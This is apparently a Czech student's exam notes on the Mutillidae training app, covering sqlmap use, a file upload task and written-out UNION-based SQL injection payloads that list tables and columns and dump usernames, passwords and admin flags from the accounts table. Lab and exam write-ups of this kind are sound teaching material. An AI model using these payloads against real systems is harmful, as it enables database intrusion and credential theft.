---
# System prepended metadata

title: Zkouška 29.6.2023

---

### OWASP 2017 - A1 - Injection (SQL) - SQLmap Practice - Login

Zjistím si cookie. 

![](https://hackmd.io/_uploads/S1m_G-sO2.png)

Poté použiji sqlmap s následující syntaxí: 

![](https://hackmd.io/_uploads/BkF6VZju3.png)
Který mi vypíše obsah mutillidae databáze. :)

![](https://hackmd.io/_uploads/BksoVbsd3.png)


Credit cards 

![](https://hackmd.io/_uploads/HJgONZodh.png)

![](https://hackmd.io/_uploads/ByvHV-suh.png)

Accounts 

![](https://hackmd.io/_uploads/ryoGr-oO3.png)

![](https://hackmd.io/_uploads/BkpQrZjO3.png)

### Others - Unrestricted File Upload - File Upload

![](https://hackmd.io/_uploads/BkXmDZidn.png)

![](https://hackmd.io/_uploads/Sy7IOZsO2.png)

### OWASP 2017 - A1 - Injection (SQL) - SQLi - Extract Data - User Info (SQL)

`' union select null, null, database(), null, null, null, null – `

`' union select null, null, table_name, null, null, null, null from information_schema.tables -- `

`' union select null, null, column_name, null, null, null, null from information_schema.columns where table_name = 'accounts' -- `

`' union select cid, username, password, mysignature, is_admin, firstname, lastname from muti.accounts – `

`' union select cid, username,  password, mysignature, is_admin, firstname, lastname from mutillidae.accounts --`

`' union select 1, username, password, is_admin, 5, 6, 7 from mutillidae.accounts -- `

![](https://hackmd.io/_uploads/rJvb6Zsdh.png)

admin, Adrian, aaron ABaker - jsou admin učty




